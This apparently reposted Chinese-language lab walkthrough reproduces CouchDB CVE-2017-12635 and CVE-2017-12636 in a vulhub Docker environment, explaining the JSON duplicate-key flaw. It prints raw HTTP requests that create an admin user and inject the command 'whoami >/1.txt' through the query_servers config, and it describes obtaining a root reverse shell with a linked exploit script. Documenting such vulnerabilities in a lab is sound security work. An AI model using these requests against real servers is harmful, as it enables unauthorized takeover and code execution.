1. 黑客安全网-互联网安全媒体信息综合平台首页
  2. 漏洞信息

Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell

CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

一、漏洞原理       

CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

举例:Erlang:> jiffy:decode(“{“a”:”1″, “a”:”2″}”).{[{>,>},{>,>}]}

JavaScript> JSON.parse(“{“a”:”1″, “a”: “2”}”){a: “2”}

Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。

CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。

CVE-2017-12635结合CVE-2017-12636可实现远程代码执行

二、准备环境        

攻击机(kali):192.168.29.130

被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)

备用机:真实机(含python3环境)

测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

三、环境搭建       

1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshellCouchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#loginCouchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell

四、漏洞复现         

1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予“_admin”身份

PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}

Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作     4.kali攻击机开启监听443端口Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell6.会在kali攻击机上面建立会话连接,并且是root权限Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)

GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0

Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell8.可见,我们这里只有一个node,名字是[email protected]。然后,我们修改[email protected]的配置即可实现对服务器端写入文件:

PUT /_node/[email protected]/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"

Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息Couchdb漏洞(CVE-2017-12635+ CVE-2017-12636)直接getshell原文链接

相关推荐: Google Chrome浏览器漏洞使数十亿用户数据遭受被盗风险

Google Chrome浏览器存在安全漏洞,攻击者可利用该漏洞绕过网站上的内容安全策略(CSP),进而窃取用户数据并执行恶意代码。 网络安全研究人员表示,该漏洞(CVE-2020-6519)存在于Windows、Mac和Android的Chrome、Oper…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/vuls/3339.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注